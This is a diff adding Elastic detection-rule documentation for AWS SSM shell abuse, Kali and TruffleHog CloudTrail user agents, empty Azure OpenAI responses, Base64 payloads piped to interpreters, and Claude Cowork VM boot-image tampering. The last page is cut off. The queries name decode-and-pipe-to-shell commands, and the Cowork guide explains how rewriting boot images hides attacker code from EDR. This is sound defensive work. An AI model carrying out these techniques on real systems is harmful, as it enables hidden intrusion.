b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-aws-ssm-session-manager-child-process-execution.asciidoc @@ -0,0 +1,153 @@ +[[prebuilt-rule-8-19-36-aws-ssm-session-manager-child-process-execution]] +=== AWS SSM Session Manager Child Process Execution + +Identifies process start events where the parent process is the AWS Systems Manager (SSM) Session Manager worker. Session Manager provides interactive shell access to EC2 instances and hybrid nodes without bastion hosts or open inbound ports. Adversaries abuse it for remote execution and lateral movement using legitimate AWS credentials and IAM permissions. This rule surfaces endpoint execution occurring under that worker for visibility and hunting. Expect noise from authorized administrative sessions. + +*Rule type*: query + +*Rule indices*: + +* logs-endpoint.events.process* +* auditbeat-* +* logs-auditd_manager.auditd-* +* logs-crowdstrike.fdr* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.mitiga.io/blog/abusing-the-amazon-web-services-ssm-agent-as-a-remote-access-trojan +* https://hackingthe.cloud/aws/post_exploitation/run_shell_commands_on_ec2/ +* https://docs.aws.amazon.com/systems-manager/latest/userguide/session-manager.html + +*Tags*: + +* Domain: Endpoint +* Domain: Cloud +* OS: Linux +* OS: Windows +* OS: macOS +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Elastic Defend +* Data Source: Auditd Manager +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Custom Query (KQL) +* Platform: Windows +* Platform: Linux +* Platform: macOS + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS SSM Session Manager Child Process Execution* + + +AWS Systems Manager Session Manager starts a session worker process on the endpoint; commands and shells you run in the +session appear as child processes of that worker. The same mechanism is used for authorized administration and for +adversary activity when IAM credentials or instance roles allow `ssm:StartSession` (or related) abuse. + + +*Possible investigation steps* + + +- Confirm whether the host is an EC2 instance or managed node that legitimately uses Session Manager. +- Review `process.command_line`, `process.executable`, `process.user.name`, and `user.name` for the child process to + judge intent (reconnaissance, download, credential access, persistence, etc.). +- Correlate timing with AWS CloudTrail for `StartSession`, `ResumeSession`, or related SSM API calls and the IAM + principal that initiated the session. +- Pivot on the same `host.id` or instance identifier for other alerts or SSM activity in the same window. + + +*False positive analysis* + + +- Routine interactive or automated administration via Session Manager is expected to match this rule by design. +- Prefer exclusions tied to stable attributes (approved IAM roles, automation service accounts, known script paths) + rather than broad process-name allowlists unless validated. + + +*Response and remediation* + + +- If activity is unauthorized: revoke or rotate exposed IAM credentials, review SSM and VPC endpoints policies, and + terminate suspicious sessions from the AWS console or API. +- Isolate the instance if compromise is suspected and perform endpoint forensics following your incident response + playbook. + + +==== Rule query + + +[source, js] +---------------------------------- +event.category: "process" and event.action : ("exec" or "exec_event" or "start" or "ProcessRollup2" or "executed" or "process_started") and +( + process.parent.name:("ssm-session-worker.exe" or "ssm-session-worker" or "ssm-document-worker.exe" or "ssm-document-worker") or + (process.name : "powershell.exe" and process.args : *awsrunPowerShellScript*) or + (process.name : ("dash" or "sh" or "bash") and process.args : *awsrunShellScript*) or + (process.parent.name : "powershell.exe" and process.parent.args : *awsrunPowerShellScript*) or + (process.parent.name : ("dash" or "sh" or "bash") and process.parent.args : *awsrunShellScript*) + ) and + not (process.name : "powershell.exe" and process.args :("$str.Substring($str.length" or *Convert-GuidToCompressedGuid* or get-wmiobject* or $wmi_proc* or *win32_quickfixengineering* or Get-wmiobject* or *Get-Service* or *Get-WmiObject* or *System32\\ntoskrnl.exe* or *GET-WMIOBJECT*)) and + not process.executable : ("/usr/bin/lscpu" or "/usr/bin/snap" or "/usr/bin/rpm" or "/usr/bin/dpkg-query" or /snap/snapd/*/usr/bin/snap or "/usr/bin/id" or "C:\\Program Files\\Amazon\\SSM\\Plugins\\SessionManagerShell\\winpty-agent.exe" or /var/lib/amazon/ssm/update/amazon-ssm-agent-updater/*/updater or C\:\\ProgramData\\Amazon\\SSM\\Update\\amazon-ssm-agent-updater\\*\\updater.exe or *\\ProgramData\\Amazon\\SSM\\Update\\amazon-ssm-agent-updater\\*\\updater.exe) and + not (process.parent.name : ("ssm-document-worker.exe" or "ssm-document-worker") and ( + (process.name : ("WMIC.exe" or "wmic.exe") and process.args : ("OS" and "get" and "/format:list")) or + (process.name : "powershell.exe" and process.args : (*Servermanagercmd* or *OC*Manager*Subcomponents*)) or + process.executable : ("/opt/util-linux/bin/lscpu" or /snap/snapd/*/usr/lib/snapd/snapd or /snap/core/*/usr/bin/snap or "/snap/core/current/usr/bin/snap") + )) and + not (process.name : (dash or bash or sh or _script.sh) and process.args : /var/lib/amazon/ssm/*/document/orchestration/*/_script.sh) and + process.command_line :(* and not (*ssm-user or */invokeInspectorSsmPluginLinux/_script.sh or */checkExclusionPreference/_script.sh or *\\createUpdateFolder\\_script.ps1 or */checkProvisioningEligibility/_script.sh or */install/_script.sh or */uninstall/_script.sh or *\\Amazon\\SSM\\InstanceData\\*\\document\\orchestration\\*\\CollectWindowsCustomInventory\\_script.ps1 or *\\Amazon\\SSM\\InstanceData\\*\\document\\orchestration\\*\\PatchWindows\\_script.ps1 or *\\Amazon\\SSM\\InstanceData\\*\\document\\orchestration\\*\\createDownloadFolder\\_script.ps1 or *\\Amazon\\SSM\\InstanceData\\*\\document\\orchestration\\*\\invokeOVALEvaluatorWindows\\_script.ps1 or *\\Amazon\\SSM\\InstanceData\\*\\document\\orchestration\\*\\ControlCloudWatchAgentWindows\\_script.ps1 or *\\Amazon\\SSM\\InstanceData\\*\\document\\orchestration\\*\\configurePackage\\*\\install\\_script.ps1 or *\\Amazon\\SSM\\InstanceData\\*\\document\\orchestration\\*\\configurePackage\\*\\uninstall\\_script.ps1)) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Technique: +** Name: Cloud Administration Command +** ID: T1651 +** Reference URL: https://attack.mitre.org/techniques/T1651/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-aws-suspicious-user-agent-fingerprint.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-aws-suspicious-user-agent-fingerprint.asciidoc new file mode 100644 index 0000000000..aef4ec4435 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-aws-suspicious-user-agent-fingerprint.asciidoc @@ -0,0 +1,182 @@ +[[prebuilt-rule-8-19-36-aws-suspicious-user-agent-fingerprint]] +=== AWS Suspicious User Agent Fingerprint + +Identifies successful AWS API calls where the CloudTrail user agent indicates offensive tooling or automated credential verification. This includes the AWS CLI or Boto3 reporting a Kali Linux distribution fingerprint (`distrib#kali`), and clients that identify as TruffleHog, which is commonly used to validate leaked secrets against live AWS APIs. These patterns are uncommon for routine production workloads and may indicate compromised credentials, unauthorized access, or security tooling operating outside approved scope. + +*Rule type*: eql + +*Rule indices*: + +* logs-aws.cloudtrail-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-event-reference-user-identity.html +* https://www.sygnia.co/blog/sygnia-investigation-bybit-hack/ +* https://trufflesecurity.com/blog/trufflehog-in-your-log +* https://kudelskisecurity.com/research/investigating-two-variants-of-the-trivy-supply-chain-compromise + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Platform: AWS +* Data Source: AWS CloudTrail +* Tactic: Initial Access +* Rule Type: Event Correlation (EQL) +* Resources: Investigation Guide +* Noise: Medium +* Performance: Fast + +*Version*: 10 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and Analysis* + + + +*Investigating AWS Suspicious User Agent Fingerprint* + + +AWS CloudTrail records the user agent string for API requests, which can reveal the OS distribution and client tooling. +Two high-signal patterns this rule covers are: + +- **Kali Linux fingerprint** — When the AWS CLI or Boto3 reports `distrib#kali`, the request likely came from a Kali + environment. Kali is widely used for penetration testing and adversarial tradecraft, so this is worth correlating with + identity, network context, and sensitivity of API actions. +- **TruffleHog** — TruffleHog identifies itself in the user agent when verifying whether recovered credentials are still + valid. Observing it against your account may indicate leaked keys are being tested, including through supply-chain or + secret-scanning abuse by a third party. + +This detection focuses on **successful** API activity. Evaluate who performed the action, what was accessed or modified, +and whether the source and tooling align with expectations. + + +*Possible investigation steps* + + +**Identify the actor** +- Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id` to determine which IAM + principal was used. +- Check whether this principal normally uses CLI/SDK clients and whether Kali or TruffleHog is ever expected for their role. + +**Review access patterns and actions** +- Examine API calls associated with the matched user agent for high-risk activity such as IAM changes, data access, + snapshot sharing, logging modification, or persistence-related actions. +- Look for sequences indicating initial access or expansion, such as `GetSessionToken`, `AssumeRole`, or privilege + escalation attempts. +- Determine whether the activity scope aligns with the principal’s intended permissions and business function. + +**Inspect source network and tooling context** +- Review `source.ip`, `source.geo` fields, and ASN to determine whether the request originated from an expected corporate + network, VPN, CI/CD egress, or known security testing infrastructure. +- Analyze `user_agent.original` to confirm which pattern matched (`distrib#kali` vs `TruffleHog`) and whether usage looks + interactive, scripted, or scanner-driven. +- Sudden shifts from console-based access to CLI from an offensive distribution, or first-time TruffleHog against the + account, may indicate credential compromise or unauthorized scanning. + +**Correlate with surrounding activity** +- Search for additional CloudTrail events tied to the same access key or session before and after this detection. +- Look for evidence of follow-on actions such as resource creation, configuration changes, or attempts to disable logging + and monitoring services. +- Assess whether the activity represents a single isolated request or part of a broader behavioral chain. + + +*False positive analysis* + + +- Internal red team or authorized assessments may produce Kali-based AWS CLI or SDK traffic. Confirm scope, timing, and + authorization. +- Organizational use of TruffleHog in CI to validate rotated keys or scan artifacts may generate this signal; restrict + exceptions to known roles, repositories, and egress IPs where possible. + + +*Response and remediation* + + +- If the activity is unauthorized, immediately revoke or rotate the affected access keys or invalidate the active + session. +- Review IAM permissions associated with the identity and reduce scope where possible to enforce least privilege. +- Investigate for additional indicators of compromise, including unusual role assumptions, new credential creation, or + data access from the same identity. +- Notify security operations and incident response teams if the activity aligns with known adversary behaviors or appears + part of a larger intrusion. +- Consider adding guardrails or conditional access controls (such as source IP restrictions or MFA enforcement) for + sensitive IAM principals. + + +*Additional information* + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]** + + +==== Rule query + + +[source, js] +---------------------------------- +any where data_stream.dataset == "aws.cloudtrail" + and event.outcome == "success" + and ( + ( + stringContains(user_agent.original, "distrib#kali") + or stringContains(user_agent.original, "+kali") + or stringContains(user_agent.original, "kali-amd64") + or stringContains(user_agent.original, "kali-arm64") + ) or ( + stringContains(user_agent.original, "TruffleHog") + or stringContains(user_agent.original, "trufflehog") + ) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-azure-openai-insecure-output-handling.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-azure-openai-insecure-output-handling.asciidoc new file mode 100644 index 0000000000..4ab45d6088 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-azure-openai-insecure-output-handling.asciidoc @@ -0,0 +1,136 @@ +[[prebuilt-rule-8-19-36-azure-openai-insecure-output-handling]] +=== Azure OpenAI Insecure Output Handling + +Detects when Azure OpenAI requests result in zero response length, potentially indicating issues in output handling that might lead to security exploits such as data leaks or code execution. This can occur in cases where the API fails to handle outputs correctly under certain input conditions. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 10m + +*Searches indices from*: now-60m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://genai.owasp.org/llmrisk/llm052025-improper-output-handling/ + +*Tags*: + +* Domain: GenAI +* Data Source: Azure OpenAI +* Data Source: Azure Event Hubs +* Use Case: Insecure Output Handling +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Threat: Unauthorized AI Usage +* Threat: LLMjacking +* Rule Type: ES|QL +* Platform: Azure +* Domain: Cloud +* Service: Azure OpenAI +* Service: Azure Event Hubs +* Mitre Atlas: AML.T0051 +* Mitre Atlas: AML.T0057 + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Azure OpenAI Insecure Output Handling* + + +Azure OpenAI integrates AI capabilities into applications, enabling natural language processing tasks. However, improper output handling can lead to vulnerabilities, such as data leaks or unauthorized code execution. Adversaries might exploit these by crafting inputs that cause the API to mishandle responses. The detection rule identifies anomalies by flagging instances where API responses are unexpectedly empty, suggesting potential misuse or misconfiguration, especially when such events occur frequently. + + +*Possible investigation steps* + + +- Review the logs for the specific Azure resource name flagged in the alert to understand the context and frequency of zero-length responses. +- Examine the request lengths associated with the zero-length responses to identify any patterns or anomalies in the input data that might be causing the issue. +- Check the cloud account ID associated with the alert to determine if there are any known issues or recent changes in configuration that could affect output handling. +- Investigate the operation name "ChatCompletions_Create" to ensure that the API is being used as intended and that there are no unauthorized or unexpected uses. +- Assess the overall environment for any recent updates or changes in the Azure OpenAI configuration that might have impacted output handling. + + +*False positive analysis* + + +- Frequent legitimate requests with zero response length can occur during testing or development phases. To manage this, exclude known test environments or accounts from the detection rule by adding exceptions for specific cloud.account.id or azure.resource.name values. +- Some applications may intentionally send requests that do not require a response, resulting in zero response length. Identify these applications and adjust the rule to exclude their specific azure.resource.name. +- Network issues or temporary service disruptions can lead to zero-length responses. Monitor for patterns of such occurrences and consider excluding specific time frames or network segments if they are known to cause false positives. +- Automated scripts or bots that interact with the API might generate zero-length responses as part of their normal operation. Identify these scripts and exclude their associated identifiers from the rule to prevent false alerts. + + +*Response and remediation* + + +- Immediately isolate the affected Azure OpenAI resource to prevent further exploitation. This can be done by temporarily disabling the API or restricting access to it. +- Review and validate the input handling mechanisms of the affected API to ensure they are robust against malformed or malicious inputs that could lead to insecure output handling. +- Conduct a thorough audit of recent API requests and responses to identify any unauthorized access or data leaks. Pay special attention to requests with zero response length. +- Implement additional logging and monitoring for the affected API to capture detailed information about requests and responses, which can help in identifying patterns or repeated attempts of exploitation. +- Notify the security team and relevant stakeholders about the incident, providing them with detailed findings and any potential impact on data security. +- If unauthorized access or data leakage is confirmed, follow the organization's incident response plan to notify affected parties and comply with any regulatory requirements. +- Enhance detection capabilities by integrating anomaly detection tools that can identify unusual patterns in API usage, such as frequent zero-length responses, to prevent similar threats in the future. + + +==== Setup + + + +*Setup* + + +For more information on streaming events, see the Azure OpenAI documentation: + +https://learn.microsoft.com/en-us/azure/azure-monitor/essentials/stream-monitoring-data-event-hubs + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-azure_openai.logs-* +| where + azure.open_ai.properties.response_length == 0 and + azure.open_ai.result_signature == "200" and + azure.open_ai.operation_name == "ChatCompletions_Create" +| keep + azure.open_ai.properties.request_length, + azure.open_ai.result_signature, + cloud.account.id, + azure.resource.name +| stats + Esql.event_count = count(*) + by + azure.resource.name +| where + Esql.event_count >= 10 +| sort + Esql.event_count desc + +---------------------------------- diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-base64-decoded-payload-piped-to-interpreter.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-base64-decoded-payload-piped-to-interpreter.asciidoc new file mode 100644 index 0000000000..69e3ab1113 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-base64-decoded-payload-piped-to-interpreter.asciidoc @@ -0,0 +1,216 @@ +[[prebuilt-rule-8-19-36-base64-decoded-payload-piped-to-interpreter]] +=== Base64 Decoded Payload Piped to Interpreter + +This rule detects when a base64 decoded payload is piped to an interpreter on Linux systems. Adversaries may use base64 encoding to obfuscate data and pipe it to an interpreter to execute malicious code. This technique may be used to evade detection by host- or network-based security controls. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* +* logs-crowdstrike.fdr* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Execution +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Data Source: Crowdstrike +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Threat: Encoding-Based Obfuscation +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 11 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Base64 Decoded Payload Piped to Interpreter* + + +Base64 encoding is a method to encode binary data into ASCII text, often used for data obfuscation. Adversaries exploit this by encoding malicious payloads and decoding them on a target system, piping the output to interpreters like bash or python for execution. The detection rule identifies such activities by monitoring for processes that decode Base64 and subsequently execute scripts, indicating potential malicious behavior. + + +*Possible investigation steps* + + +- Review the process command line arguments to identify the specific Base64 decoding activity, focusing on the presence of flags like `-d` or `-a` in conjunction with tools such as `base64`, `openssl`, or scripting languages like `python`, `perl`, or `ruby`. +- Examine the parent process entity ID and command line to understand the context in which the Base64 decoding was initiated, identifying any potentially suspicious parent processes. +- Investigate the subsequent interpreter process that was executed, such as `bash`, `python`, or `ruby`, to determine the nature of the script or command being run, looking for any signs of malicious activity. +- Check the timing and sequence of the processes involved to confirm if the Base64 decoding and interpreter execution occurred within the specified maxspan of 3 seconds, indicating a likely automated or scripted action. +- Analyze the host ID and any associated user accounts to determine if the activity aligns with expected behavior for that system or user, or if it suggests unauthorized access or compromise. +- Correlate the alert with other security events or logs from the same host or user to identify any additional indicators of compromise or related suspicious activities. + + +*False positive analysis* + + +- Legitimate administrative scripts may use Base64 encoding to handle data securely. Review the context of the script execution and consider excluding specific scripts or directories from monitoring if they are verified as safe. +- Automated backup or data transfer processes might use Base64 encoding for data integrity. Identify these processes and create exceptions for known, trusted applications or scripts. +- Development environments often use Base64 encoding for testing purposes. If a development tool or script is frequently triggering alerts, consider excluding the specific development environment or user accounts from this rule. +- Security tools or monitoring solutions may use Base64 encoding as part of their normal operations. Verify the source of the alert and exclude known security tools from triggering this rule. +- System updates or package installations might involve Base64 operations. Monitor the timing and context of these alerts and exclude specific update processes if they are consistently identified as false positives. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further execution of potentially malicious code and lateral movement. +- Terminate any suspicious processes identified by the detection rule, particularly those involving base64 decoding and piping to interpreters. +- Conduct a forensic analysis of the affected system to identify any additional indicators of compromise, such as unauthorized file modifications or network connections. +- Restore the system from a known good backup if malicious activity is confirmed and the integrity of the system is compromised. +- Update and patch all software and systems to mitigate vulnerabilities that could be exploited by similar techniques. +- Implement enhanced monitoring and logging for base64 decoding activities and interpreter executions to detect similar threats in the future. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if broader organizational impacts exist. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id, process.parent.entity_id with maxspan=3s + [process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "ProcessRollup2") and ( + (process.name in ("base64", "base64plain", "base64url", "base64mime", "base64pem", "base32", "base16") and process.command_line like~ "*-*d*") or + (process.name == "openssl" and process.args == "enc" and process.args in ("-d", "-base64", "-a")) or + (process.name like "python*" and + (process.args == "base64" and process.args in ("-d", "-u", "-t")) or + (process.args == "-c" and process.args like "*base64*" and process.command_line like~ "*b64decode*") + ) or + (process.name like "perl*" and process.command_line like~ "*decode_base64*") or + (process.name like "ruby*" and process.args == "-e" and process.command_line like~ "*Base64.decode64*") + )] + [process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "ProcessRollup2") and process.name like~ ( + "bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", "python*", "perl*", "ruby*", "lua*", "php*" + ) and + not ( + ?process.parent.command_line in ( + "bash ./run_tests.sh unit-integration", + "/bin/sh /var/lib/dpkg/info/nmap-common.postinst configure", + "bash -c base64 -d <<< Zm9yIHN2YyBpbiBxZW11LWt2bSBvdnMtdnN3aXRjaGQgbGlidmlydGQgdmlydGxvY2tkIHBhY2VtYWtlciBwY3NkOyBkbyBzeXN0ZW1jdGwgaXMtYWN0aXZlICRzdmM7IGRvbmU= | bash -l" + ) or + process.command_line == "/usr/bin/perl /usr/bin/shasum -a 256" or + ?process.working_directory like ( + "/usr/local/zeek", "/opt/zeek", "/var/lib/docker/overlay2/*/opt/zeek", "/usr/local/zeek_old_install", + "/var/lib/docker/overlay2/*/usr/local/zeek", "/proc/self/fd/*/usr/local/zeek" + ) or + (process.parent.name == "zsh" and ?process.parent.command_line like "*extendedglob*") or + (process.name like "python*" and process.parent.name like "python*") or + process.args like "/tmp/apt-key-gpghome*" or + ?process.parent.executable like ("/home/*/bin/claude", "/home/*/bin/opencode") or + ?process.parent.command_line like "*/home/*/.claude/shell-snapshots/snapshot-*" + )] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Obfuscated Files or Information +** ID: T1027 +** Reference URL: https://attack.mitre.org/techniques/T1027/ +* Technique: +** Name: Deobfuscate/Decode Files or Information +** ID: T1140 +** Reference URL: https://attack.mitre.org/techniques/T1140/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Sub-technique: +** Name: Python +** ID: T1059.006 +** Reference URL: https://attack.mitre.org/techniques/T1059/006/ +* Sub-technique: +** Name: Lua +** ID: T1059.011 +** Reference URL: https://attack.mitre.org/techniques/T1059/011/ +* Technique: +** Name: User Execution +** ID: T1204 +** Reference URL: https://attack.mitre.org/techniques/T1204/ +* Sub-technique: +** Name: Malicious File +** ID: T1204.002 +** Reference URL: https://attack.mitre.org/techniques/T1204/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-claude-cowork-vm-boot-image-tamper.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-claude-cowork-vm-boot-image-tamper.asciidoc new file mode 100644 index 0000000000..7ca1a2a520 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-claude-cowork-vm-boot-image-tamper.asciidoc @@ -0,0 +1,149 @@ +[[prebuilt-rule-8-19-36-claude-cowork-vm-boot-image-tamper]] +=== Claude Cowork VM Boot Image Tamper + +Detects unexpected modification of Claude Desktop Cowork VM boot images (kernel, initrd, root filesystem). Adversaries with user-context access can rewrite these stored images so later Cowork sessions boot attacker-controlled code inside a virtual instance that host EDR cannot inspect by default. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://y637f9qq2x.com/posts/cowork-boot-trust + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Rule Type: Event Correlation (EQL) +* Platform: Windows +* Platform: macOS +* Domain: GenAI +* Mitre Atlas: AML.T0097 +* Mitre Atlas: AML.T0105 + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Claude Cowork VM Boot Image Tamper* + + +Cowork boots a local Linux VM from images under the user's Claude AppData / Application Support tree. Those files are +writable by the user and are not integrity-checked before boot. A non-Claude writer changing them is a strong signal of +post-compromise defense evasion: later Cowork sessions can run attacker code inside a sanctioned Hyper-V / +Virtualization.framework guest that host EDR does not see by default. This does not grant new privileges. + + +*Possible investigation steps* + + +- Confirm the writer: `process.name`, `process.executable`, `process.parent.executable`, and `user.name`. This rule + already excludes Claude Desktop (`claude.exe` under `WindowsApps\Claude_*\app\`, and `Claude` / + `Claude Helper` under `/Applications/Claude.app/`). Any other writer (script host, LOLBin, unsigned binary) is + unexpected. +- Note which artifact changed (`file.name` / `file.path`) and `event.action`: + - `initrd` / `initrd.zst`: primary PoC target; both are often replaced together so the service cannot re-extract a + clean initrd from the `.zst`. + - `vmlinuz` / `rootfs.*` / `smol-bin.vhdx`: full guest control if replaced. +- Pivot on `process.entity_id` / `host.id` for ~30m around the alert: how the writer started, other file writes under + the Claude package path, and whether `claude.exe` / Claude.app then started a Cowork session. +- If Cowork runs afterward, check whether the session failed and Claude re-downloaded images (careless tamper) or + continued normally (payload may have kept the expected guest daemon alive). +- Treat this as evidence of existing host compromise; hunt for the initial access that produced the writer process. + + +*False positive analysis* + + +- Claude Desktop updates should not alert; if they do, the install path likely changed (new WindowsApps package layout + or non-AppX install) and the allowlist needs updating, not an exception for the writer name alone. +- Backup or sync tools rewriting these exact filenames are uncommon; require a stable `process.executable` before + adding an exception. This rule watches create/overwrite/rename/modification only; deletions are out of scope. + + +*Response and remediation* + + +- Delete or restore the affected bundle directory (Windows: + `%LOCALAPPDATA%\Packages\Claude_*\LocalCache\Roaming\Claude\vm_bundles\claudevm.bundle\`; macOS: + `~/Library/Application Support/Claude/vm_bundles/claudevm.bundle/`) and let Claude re-download trusted images, or + restore from a known-good backup. +- Isolate the host and investigate the writer process lineage; rotate credentials and secrets available to that user. +- 